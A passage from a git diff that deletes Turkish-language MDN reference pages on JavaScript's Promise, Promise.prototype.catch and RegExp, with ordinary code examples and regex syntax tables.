'#sec-promise.all', 'Promise.all')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition in an ECMA standard.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> - -<p>{{Compat("javascript.builtins.Promise.all")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Promise")}}</li> - <li>{{jsxref("Promise.race()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/promise/catch/index.html b/files/tr/web/javascript/reference/global_objects/promise/catch/index.html deleted file mode 100644 index 3360f87fbb..0000000000 --- a/files/tr/web/javascript/reference/global_objects/promise/catch/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Promise.prototype.catch() -slug: Web/JavaScript/Reference/Global_Objects/Promise/catch -tags: - - JavaScript - - Promise - - Prototype - - fonksiyon - - metod -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch ---- -<div>{{JSRef}}</div> - -<p>The <strong>catch()</strong> method returns a <code>Promise</code> and deals with rejected cases only. It behaves the same as calling {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}} (in fact, calling <code>obj.catch(onRejected)</code> internally calls <code>obj.then(undefined, onRejected)</code>). This means, that you have to provide <code>onRejected</code> function even if you want to fallback to <code>undefined</code> result value - for example <code>obj.catch(() => {})</code>.</p> - -<div>{{EmbedInteractiveExample("pages/js/promise-catch.html")}}</div> - - - -<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p> - -<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox"><var>p.catch(onRejected)</var>; - -p.catch(function(reason) { - // rejection -}); -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt>onRejected</dt> - <dd>A {{jsxref("Function")}} called when the <code>Promise</code> is rejected. This function has one argument: - <dl> - <dt><code>reason</code></dt> - <dd>The rejection reason.</dd> - </dl> - The Promise returned by <code>catch()</code> is rejected if <code>onRejected</code> throws an error or returns a Promise which is itself rejected; otherwise, it is resolved.</dd> -</dl> - -<h3 id="Dönen_değer">Dönen değer</h3> - -<p>Internally calls <code>Promise.prototype.then</code> on the object upon which is called, passing the parameters <code>undefined</code> and the <code>onRejected</code> handler received; then returns the value of that call (which is a {{jsxref("Promise")}}).</p> - -<div class="warning"> -<p>Note the examples below are throwing instances of <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error">Error</a>. This is considered good practice in contrast to throwing Strings: Otherwise the part doing the catching would have to make checks to see if the argument was a string or an error, and you might lose valuable information like stack traces.</p> -</div> - -<p><strong>Demonstration of the internal call:</strong></p> - -<pre class="brush: js">// overriding original Promise.prototype.then/catch just to add some logs -(function(Promise){ - var originalThen = Promise.prototype.then; - var originalCatch = Promise.prototype.catch; - - Promise.prototype.then = function(){ - console.log('> > > > > > called .then on %o with arguments: %o', this, arguments); - return originalThen.apply(this, arguments); - }; - Promise.prototype.catch = function(){ - console.log('> > > > > > called .catch on %o with arguments: %o', this, arguments); - return originalCatch.apply(this, arguments); - }; - -})(this.Promise); - - - -// calling catch on an already resolved promise -Promise.resolve().catch(function XXX(){}); - -// logs: -// > > > > > > called .catch on Promise{} with arguments: Arguments{1} [0: function XXX()] -// > > > > > > called .then on Promise{} with arguments: Arguments{2} [0: undefined, 1: function XXX()] -</pre> - -<h2 id="Açıklama">Açıklama</h2> - -<p>The <code>catch</code> method can be useful for error handling in your promise composition.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Using_and_chaining_the_catch_method">Using and chaining the <code>catch</code> method</h3> - -<pre class="brush: js">var p1 = new Promise(function(resolve, reject) { - resolve('Success'); -}); - -p1.then(function(value) { - console.log(value); // "Success!" - throw new Error('oh, no!'); -}).catch(function(e) { - console.log(e.message); // "oh, no!" -}).then(function(){ - console.log('after a catch the chain is restored'); -}, function () { - console.log('Not fired due to the catch'); -}); - -// The following behaves the same as above -p1.then(function(value) { - console.log(value); // "Success!" - return Promise.reject('oh, no!'); -}).catch(function(e) { - console.log(e); // "oh, no!" -}).then(function(){ - console.log('after a catch the chain is restored'); -}, function () { - console.log('Not fired due to the catch'); -}); -</pre> - -<h3 id="Gotchas_when_throwing_errors">Gotchas when throwing errors</h3> - -<pre class="brush: js">// Throwing an error will call the catch method most of the time -var p1 = new Promise(function(resolve, reject) { - throw new Error('Uh-oh!'); -}); - -p1.catch(function(e) { - console.log(e); // "Uh-oh!" -}); - -// Errors thrown inside asynchronous functions will act like uncaught errors -var p2 = new Promise(function(resolve, reject) { - setTimeout(function() { - throw new Error('Uncaught Exception!'); - }, 1000); -}); - -p2.catch(function(e) { - console.log(e); // This is never called -}); - -// Errors thrown after resolve is called will be silenced -var p3 = new Promise(function(resolve, reject) { - resolve(); - throw new Error('Silenced Exception!'); -}); - -p3.catch(function(e) { - console.log(e); // This is never called -});</pre> - -<h3 id="If_it_is_resolved">If it is resolved</h3> - -<pre class="brush: js">//Create a promise which would not call onReject -var p1 = Promise.resolve("calling next"); - -var p2 = p1.catch(function (reason) { - //This is never called - console.log("catch p1!"); - console.log(reason); -}); - -p2.then(function (value) { - console.log("next promise's onFulfilled"); /* next promise's onFulfilled */ - console.log(value); /* calling next */ -}, function (reason) { - console.log("next promise's onRejected"); - console.log(reason); -});</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition in an ECMA standard.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> - -<p>{{Compat("javascript.builtins.Promise.catch")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Promise")}}</li> - <li>{{jsxref("Promise.prototype.then()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/promise/index.html b/files/tr/web/javascript/reference/global_objects/promise/index.html deleted file mode 100644 index 90f9dcabc0..0000000000 --- a/files/tr/web/javascript/reference/global_objects/promise/index.html +++ /dev/null @@ -1,317 +0,0 @@ ---- -title: Promise -slug: Web/JavaScript/Reference/Global_Objects/Promise -tags: - - JavaScript - - Promise - - Referans -translation_of: Web/JavaScript/Reference/Global_Objects/Promise ---- -<div>{{JSRef}}</div> - -<div><code><strong>Promise</strong></code> nesnesi eşzamansız olan ve ertelenen işlemlerde kullanılır. Bir <code><strong>Promise</strong></code> nesnesi henüz işlemin tamamlamadığını ama sonradan tamamlanabileceğini gösterir.</div> - -<div></div> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">new Promise(function(resolve, reject) { ... });</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt>executor</dt> - <dd><code>resolve </code>ve <code>reject </code>içeren iki parametreli bir fonksiyon nesnesidir. İlk parametre promise nesnesi tamamlandığında, ikinci parametre ise reddettiğinde çağrılır. Bu fonksiyonları işlemimiz bittiğinde (başarılı yada başarısız) çağırırız.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Oluşturulan bir <code>promise </code>başka bir <code>promise </code>için proxy görevi görür.<br> - Başarılı yada başarısız bir şekilde sonuç üreten asenkron işlemlerin ilişkilendirilmesine olanak tanır.Bu asenkron methodların senkron methodlar gibi sonuç döndürmesi'ni sağlar.Asenkron method hemen sonuçlanmaz.Bunun yerine işlemin tamamlandığı noktayı temsil eden bir <code>promise </code>döndürür.</p> - -<p>Bir <code>Promise</code> şu durumları içerir:</p> - -<ul> - <li><em>pending</em>: ne işlem görmüş ne de red edilmiş başlangıç durumu.</li> - <li><em>fulfilled</em>: operasyon ' un başarılı bir şekilde tamamlandığı durum.</li> - <li><em>rejected</em>: operasyon ' un başarısızlıkla tamamlandığı durum.</li> -</ul> - -<p>Bekleyen bir Promise, bir sonuç döndürerek tamamlanabilir veya bir nedenle reddedilebilir(hata).Bunlardan herhanbiri gerçekleştiğinde (resolve/reject) sıraya konulmuş ilişkili methodlar sıra ile çağrılır.(Promise tamamlandığında yada red edildiğinde sırada bağlanmış bir method var ise o method çalıştırılır.Böylece asenkron işlemler arasında bir rekabet/mücadele olmaz.Sırası gelen çalışır.)</p> - -<p>As the <code>{{jsxref("Promise.then", "Promise.prototype.then()")}}</code> and <code>{{jsxref("Promise.catch", "Promise.prototype.catch()")}}</code> methods return promises, bunlar zincirlenebilirler—an operation called <em>composition</em>.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png"></p> - -<div class="note"> -<p><strong>Note</strong>: A promise is said to be <em>settled </em>if it is either fulfilled or rejected, but not pending. You will also hear the term <em>resolved</em> used with promises — this means that the promise is settled, or it is locked into a promise chain. Domenic Denicola's <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">States and fates</a> contains more details about promise terminology.</p> -</div> - -<h2 id="Özellikler">Özellikler</h2> - -<dl> - <dt><code>Promise.length</code></dt> - <dd>Değeri 1 olan Length özelliği (constructor argümanları sayısı).</dd> - <dt>{{jsxref("Promise.prototype")}}</dt> - <dd>Represents the prototype for the <code>Promise</code> constructor.</dd> -</dl> - -<h2 id="Metodlar">Metodlar</h2> - -<dl> - <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt> - <dd>Returns a promise that either resolves when all of the promises in the iterable argument have resolved or rejects as soon as one of the promises in the iterable argument rejects. If the returned promise resolves, it is resolved with an array of the values from the resolved promises in the iterable. If the returned promise rejects, it is rejected with the reason from the promise in the iterable that rejected. This method can be useful for aggregating results of multiple promises together.</dd> - <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt> - <dd>Returns a promise that resolves or rejects as soon as one of the promises in the iterable resolves or rejects, with the value or reason from that promise.</dd> -</dl> - -<dl> - <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt> - <dd>Belirtilen bir nedenden dolayı reddedilen <code>Promise</code> nesnesini döndürür.</dd> -</dl> - -<dl> - <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt> - <dd>Returns a <code>Promise</code> object that is resolved with the given value. If the value is a thenable (i.e. has a <code>then</code> method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value. Generally, if you want to know if a value is a promise or not - {{jsxref("Promise.resolve", "Promise.resolve(value)")}} it instead and work with the return value as a promise.</dd> -</dl> - -<h2 id="Promise_prototype"><code>Promise</code> prototype</h2> - -<h3 id="Özellikler_2">Özellikler</h3> - -<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}</p> - -<h3 id="Metodlar_2">Metodlar</h3> - -<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Promise_Oluşturma">Promise Oluşturma</h3> - -<pre class="brush: html hidden"><button id="btn">Promise yap!</button> -<div id="log"></div> -</pre> - -<p>Bu küçük örnek <code>Promise</code> mekanizmasını gösterir. {{HTMLElement("button")}} her tıklandığında <code>testPromise()</code> metodu çağrılır . It creates a promise that will resolve, using {{domxref("window.setTimeout()")}}, to the string "result" every 1-3 seconds, at random. The <code>Promise()</code> constructor is used to create the promise.</p> - -<p>The fulfillment of the promise is simply logged, via a fulfill callback set using {{jsxref("Promise.prototype.then()","p1.then()")}}. A few logs shows how the synchronous part of the method is decoupled of the asynchronous completion of the promise.</p> - -<pre class="brush: js">'use strict'; -var promiseCount = 0; - -function testPromise() { - var thisPromiseCount = ++promiseCount; - - var log = document.getElementById('log'); - log.insertAdjacentHTML('beforeend', thisPromiseCount + - ') Started (<small>Sync code started</small>)<br/>'); - - // We make a new promise: we promise the string 'result' (after waiting 3s) - var p1 = new Promise( - // The resolver function is called with the ability to resolve or - // reject the promise - function(resolve, reject) { - log.insertAdjacentHTML('beforeend', thisPromiseCount + - ') Promise started (<small>Async code started</small>)<br/>'); - // This is only an example to create asynchronism - window.setTimeout( - function() { - // We fulfill the promise ! - resolve(thisPromiseCount); - }, Math.random() * 2000 + 1000); - }); - - // We define what to do when the promise is resolved/fulfilled with the then() call, - // and the catch() method defines what to do if the promise is rejected. - p1.then( - // Log the fulfillment value - function(val) { - log.insertAdjacentHTML('beforeend', val + - ') Promise fulfilled (<small>Async code terminated</small>)<br/>'); - }) - .catch( - // Log the rejection reason - function(reason) { - console.log('Handle rejected promise ('+reason+') here.'); - }); - - log.insertAdjacentHTML('beforeend', thisPromiseCount + - ') Promise made (<small>Sync code terminated</small>)<br/>'); -}</pre> - -<pre class="brush:js hidden">if ("Promise" in window) { - var btn = document.getElementById("btn"); - btn.addEventListener("click",testPromise); -} -else { - log = document.getElementById('log'); - log.innerHTML = "Live example not available as your browser doesn't support the <code>Promise<code> interface."; -} -</pre> - -<p>Bu örnek buton'a tıkladığınızda çalışır. <code>Promise</code> destekleyen bir tarayıcıya ihtiyacınız var. Buton'a birden fazla tıklamanız durumunda farklı promise nesnelerinin kısa sürede tamamlandığını göreceksiniz.</p> - -<p>{{EmbedLiveSample("Creating_a_Promise", "500", "200")}}</p> - -<h2 id="new_XMLHttpRequest_Kullanım_Örneği">new XMLHttpRequest() Kullanım Örneği</h2> - -<h3 id="Promise_Oluşturma_2">Promise Oluşturma</h3> - -<p>Bu örnekte {{domxref("XMLHttpRequest")}} nesnesinin başarılı yada başarısız durumunu <code>Promise</code> kullanarak nasıl raporlanabildiğini göstermektedir.</p> - -<pre class="brush: js">'use strict'; - -// A-> $http function is implemented in order to follow the standard Adapter pattern -function $http(url){ - - // A small example of object - var core = { - - // Method that performs the ajax request - ajax : function (method, url, args) { - - // Creating a promise - var promise = new Promise( function (resolve, reject) { - - // Instantiates the XMLHttpRequest - var client = new XMLHttpRequest(); - var uri = url; - - if (args && (method === 'POST' || method === 'PUT')) { - uri += '?'; - var argcount = 0; - for (var key in args) { - if (args.hasOwnProperty(key)) { - if (argcount++) { - uri += '&'; - } - uri += encodeURIComponent(key) + '=' + encodeURIComponent(args[key]); - } - } - } - - client.open(method, uri); - client.send(); - - client.onload = function () { - if (this.status >= 200 && this.status < 300) { - // Performs the function "resolve" when this.status is equal to 2xx - resolve(this.response); - } else { - // Performs the function "reject" when this.status is different than 2xx - reject(this.statusText); - } - }; - client.onerror = function () { - reject(this.statusText); - }; - }); - - // Return the promise - return promise; - } - }; - - // Adapter pattern - return { - 'get' : function(args) { - return core.ajax('GET', url, args); - }, - 'post' : function(args) { - return core.ajax('POST', url, args); - }, - 'put' : function(args) { - return core.ajax('PUT', url, args); - }, - 'delete' : function(args) { - return core.ajax('DELETE', url, args); - } - }; -}; -// End A - -// B-> Here you define its functions and its payload -var mdnAPI = 'https://developer.mozilla.org/en-US/search.json'; -var payload = { - 'topic' : 'js', - 'q' : 'Promise' -}; - -var callback = { - success : function(data){ - console.log(1, 'success', JSON.parse(data)); - }, - error : function(data){ - console.log(2, 'error', JSON.parse(data)); - } -}; -// End B - -// Executes the method call -$http(mdnAPI) - .get(payload) - .then(callback.success) - .catch(callback.error); - -// Executes the method call but an alternative way (1) to handle Promise Reject case -$http(mdnAPI) - .get(payload) - .then(callback.success, callback.error); - -// Executes the method call but an alternative way (2) to handle Promise Reject case -$http(mdnAPI) - .get(payload) - .then(callback.success) - .then(undefined, callback.error); -</pre> - -<h3 id="XHR_ile_görsel_yükleme">XHR ile görsel yükleme</h3> - -<p>Another simple example using <code>Promise</code> and <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> to load an image is available at the MDN GitHub<a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> repository. You can also <a href="http://mdn.github.io/promises-test/">see it in action</a>. Each step is commented and allows you to follow the Promise and XHR architecture closely.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-promise-objects', 'Promise')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition in an ECMA standard.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - - - -<div> - - -<p>{{Compat("javascript.builtins.Promise")}}</p> -</div> - - - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li> - <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li> - <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li> - <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li> - <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li> - <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li> - <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/regexp/index.html b/files/tr/web/javascript/reference/global_objects/regexp/index.html deleted file mode 100644 index f60e06d0df..0000000000 --- a/files/tr/web/javascript/reference/global_objects/regexp/index.html +++ /dev/null @@ -1,606 +0,0 @@ ---- -title: RegExp -slug: Web/JavaScript/Reference/Global_Objects/RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp ---- -<div>{{JSRef}}</div> - -<p>The <strong><code>RegExp</code></strong> constructor creates a regular expression object for matching text with a pattern.</p> - -<p>For an introduction to regular expressions, read the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions chapter</a> in the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript Guide</a>.</p> - -<h2 id="Syntax">Syntax</h2> - -<p>Literal, constructor, and factory notations are possible:</p> - -<pre class="syntaxbox">/<var>pattern</var>/<var>flags</var> -new RegExp(<var>pattern</var>[, <var>flags</var>]) -RegExp(<var>pattern</var>[, <var>flags</var>]) -</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>pattern</code></dt> - <dd>Duzenli ifadenin metni.</dd> - <dt><code>flags</code></dt> - <dd> - <p>If specified, flags can have any combination of the following values:</p> - - <dl> - <dt><code>g</code></dt> - <dd>global match; find all matches rather than stopping after the first match</dd> - <dt><code>i</code></dt> - <dd>ignore case</dd> - <dt><code>m</code></dt> - <dd>multiline; treat beginning and end characters (^ and $) as working over multiple lines (i.e., match the beginning or end of <em>each</em> line (delimited by \n or \r), not only the very beginning or end of the whole input string)</dd> - <dt><code>u</code></dt> - <dd>unicode; treat pattern as a sequence of unicode code points</dd> - <dt><code>y</code></dt> - <dd>sticky; matches only from the index indicated by the <code>lastIndex</code> property of this regular expression in the target string (and does not attempt to match from any later indexes).</dd> - </dl> - </dd> -</dl> - -<h2 id="Description">Description</h2> - -<p>There are 2 ways to create a <code>RegExp</code> object: a literal notation and a constructor. To indicate strings, the parameters to the literal notation do not use quotation marks while the parameters to the constructor function do use quotation marks. So the following expressions create the same regular expression:</p> - -<pre class="brush: js">/ab+c/i; -new RegExp('ab+c', 'i'); -new RegExp(/ab+c/, 'i'); -</pre> - -<p>The literal notation provides compilation of the regular expression when the expression is evaluated. Use literal notation when the regular expression will remain constant. For example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each iteration.</p> - -<p>The constructor of the regular expression object, for example, <code>new RegExp('ab+c')</code>, provides runtime compilation of the regular expression. Use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input.</p> - -<p>Starting with ECMAScript 6, <code>new RegExp(/ab+c/, 'i')</code> no longer throws a {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") when the first argument is a <code>RegExp</code> and the second <code>flags</code> argument is present. A new <code>RegExp</code> from the arguments is created instead.</p> - -<p>When using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary. For example, the following are equivalent:</p> - -<pre class="brush: js">var re = /\w+/; -var re = new RegExp('\\w+'); -</pre> - -<h2 id="Düzenli_İfadelerde_(Regular_Expressions)_Özel_Karakterlerin_Anlamları">Düzenli İfadelerde (Regular Expressions) Özel Karakterlerin Anlamları</h2> - -<ul> - <li><a href="/en-US/docs/">Karakter Sınıfları</a></li> - <li><a href="#character-sets">Karakter Kümele</a>ri</li> - <li>Kısıtlar</li> - <li><a href="#alternation">D</a>eğişim</li> - <li>Gruplama ve Referansa Geri Dönme</li> - <li><a href="#quantifiers">N</a>iceleyiciler</li> - <li><a href="#assertions">O</a>naylamalar</li> -</ul> - -<table class="fullwidth-table"> - <tbody> - <tr id="character-classes"> - <th colspan="2">Karakter Sınıfları</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code>.</code></td> - <td> - <p>(The dot, the decimal point) matches any single character <em>except</em> line terminators: <code>\n</code>, <code>\r</code>, <code>\u2028</code> or <code>\u2029</code>.</p> - - <p>Inside a character set, the dot loses its special meaning and matches a literal dot.</p> - - <p>Note that the <code>m</code> multiline flag doesn't change the dot behavior. So to match a pattern across multiple lines, the character set <code>[^]</code> can be used (if you don't mean an old version of IE, of course), it will match any character including newlines.</p> - - <p>For example, <code>/.y/</code> matches "my" and "ay", but not "yes", in "yes make my day".</p> - </td> - </tr> - <tr> - <td><code>\d</code></td> - <td> - <p>Matches any digit (Arabic numeral). Equivalent to <code>[0-9]</code>.</p> - - <p>For example, <code>/\d/</code> or <code>/[0-9]/</code> matches "2" in "B2 is the suite number".</p> - </td> - </tr> - <tr> - <td><code>\D</code></td> - <td> - <p>Matches any character that is not a digit (Arabic numeral). Equivalent to <code>[^0-9]</code>.</p> - - <p>For example, <code>/\D/</code> or <code>/[^0-9]/</code> matches "B" in "B2 is the suite number".</p> - </td> - </tr> - <tr> - <td><code>\w</code></td> - <td> - <p>Matches any alphanumeric character from the basic Latin alphabet, including the underscore. Equivalent to <code>[A-Za-z0-9_]</code>.</p> - - <p>For example, <code>/\w/</code> matches "a" in "apple", "5" in "$5.28", and "3" in "3D".</p> - </td> - </tr> - <tr> - <td><code>\W</code></td> - <td> - <p>Matches any character that is not a word character from the basic Latin alphabet. Equivalent to <code>[^A-Za-z0-9_]</code>.</p> - - <p>For example, <code>/\W/</code> or <code>/[^A-Za-z0-9_]/</code> matches "%" in "50%".</p> - </td> - </tr> - <tr> - <td><code>\s</code></td> - <td> - <p>Matches a single white space character, including space, tab, form feed, line feed and other Unicode spaces. Equivalent to <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p> - - <p>For example, <code>/\s\w*/</code> matches " bar" in "foo bar".</p> - </td> - </tr> - <tr> - <td><code>\S</code></td> - <td> - <p>Matches a single character other than white space. Equivalent to <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p> - - <p>For example, <code>/\S\w*/</code> matches "foo" in "foo bar".</p> - </td> - </tr> - <tr> - <td><code>\t</code></td> - <td>Matches a horizontal tab.</td> - </tr> - <tr> - <td><code>\r</code></td> - <td>Matches a carriage return.</td> - </tr> - <tr> - <td><code>\n</code></td> - <td>Matches a linefeed.</td> - </tr> - <tr> - <td><code>\v</code></td> - <td>Matches a vertical tab.</td> - </tr> - <tr> - <td><code>\f</code></td> - <td>Matches a form-feed.</td> - </tr> - <tr> - <td><code>[\b]</code></td> - <td>Matches a backspace. (Not to be confused with <code>\b</code>)</td> - </tr> - <tr> - <td><code>\0</code></td> - <td>Matches a NUL character. Do not follow this with another digit.</td> - </tr> - <tr> - <td><code>\c<em>X</em></code></td> - <td> - <p>Where <code><em>X</em></code> is a letter from A - Z. Matches a control character in a string.</p> - - <p>For example, <code>/\cM/</code> matches control-M in a string.</p> - </td> - </tr> - <tr> - <td><code>\x<em>hh</em></code></td> - <td>Matches the character with the code <code><em>hh</em></code> (two hexadecimal digits).</td> - </tr> - <tr> - <td><code>\u<em>hhhh</em></code></td> - <td>Matches a UTF-16 code-unit with the value <code><em>hhhh</em></code> (four hexadecimal digits).</td> - </tr> - <tr> - <td><code>\u<em>{hhhh} </em>or <em>\u{hhhhh}</em></code></td> - <td>(only when u flag is set) Matches the character with the Unicode value U+<code><em>hhhh</em> or </code>U+<code><em>hhhhh</em></code> (hexadecimal digits).</td> - </tr> - <tr> - <td><code>\</code></td> - <td> - <p>For characters that are usually treated literally, indicates that the next character is special and not to be interpreted literally.</p> - - <p>For example, <code>/b/</code> matches the character "b". By placing a backslash in front of "b", that is by using <code>/\b/</code>, the character becomes special to mean match a word boundary.</p> - - <p><em>or</em></p> - - <p>For characters that are usually treated specially, indicates that the next character is not special and should be interpreted literally.</p> - - <p>For example, "*" is a special character that means 0 or more occurrences of the preceding character should be matched; for example, <code>/a*/</code> means match 0 or more "a"s. To match <code>*</code> literally, precede it with a backslash; for example, <code>/a\*/</code> matches "a*".</p> - </td> - </tr> - </tbody> - <tbody> - <tr id="character-sets"> - <th colspan="2">Karakter Kümeleri</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code>[xyz]<br> - [a-c]</code></td> - <td> - <p>A character set. Matches any one of the enclosed characters. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character. It is also possible to include a character class in a character set.</p> - - <p>For example, <code>[abcd]</code> is the same as <code>[a-d]</code>. They match the "b" in "brisket" and the "c" in "chop".</p> - - <p>For example, [abcd-] and [-abcd] match the "b" in "brisket", the "c" in "chop" and the "-" (hyphen) in "non-profit".</p> - - <p>For example, [\w-] is the same as [A-Za-z0-9_-]. They match the "b" in "brisket", the "c" in "chop" and the "n" in "non-profit".</p> - </td> - </tr> - <tr> - <td> - <p><code>[^xyz]<br> - [^a-c]</code></p> - </td> - <td> - <p>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character.</p> - - <p>For example, <code>[^abc]</code> is the same as <code>[^a-c]</code>. They initially match "o" in "bacon" and "h" in "chop".</p> - </td> - </tr> - </tbody> - <tbody> - <tr id="alternation"> - <th colspan="2">Değişim</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code><em>x</em>|<em>y</em></code></td> - <td> - <p>Matches either <code><em>x</em></code> or <code><em>y</em></code>.</p> - - <p>For example, <code>/green|red/</code> matches "green" in "green apple" and "red" in "red apple".</p> - </td> - </tr> - </tbody> - <tbody> - <tr id="boundaries"> - <th colspan="2">Kısıtlar</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code>^</code></td> - <td> - <p>Matches beginning of input. If the multiline flag is set to true, also matches immediately after a line break character.</p> - - <p>For example, <code>/^A/</code> does not match the "A" in "an A", but does match the first "A" in "An A".</p> - </td> - </tr> - <tr> - <td><code>$</code></td> - <td> - <p>Matches end of input. If the multiline flag is set to true, also matches immediately before a line break character.</p> - - <p>For example, <code>/t$/</code> does not match the "t" in "eater", but does match it in "eat".</p> - </td> - </tr> - <tr> - <td><code>\b</code></td> - <td> - <p>Matches a word boundary. This is the position where a word character is not followed or preceded by another word-character, such as between a letter and a space. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero.</p> - - <p>Examples:<br> - <code>/\bm/</code> matches the 'm' in "moon" ;<br> - <code>/oo\b/</code> does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character;<br> - <code>/oon\b/</code> matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character;<br> - <code>/\w\b\w/</code> will never match anything, because a word character can never be followed by both a non-word and a word character.</p> - </td> - </tr> - <tr> - <td><code>\B</code></td> - <td> - <p>Matches a non-word boundary. This is a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. Such as between two letters or between two spaces. The beginning and end of a string are considered non-words. Same as the matched word boundary, the matched non-word bondary is also not included in the match.</p> - - <p>For example, <code>/\Bon/</code> matches "on" in "at noon", and 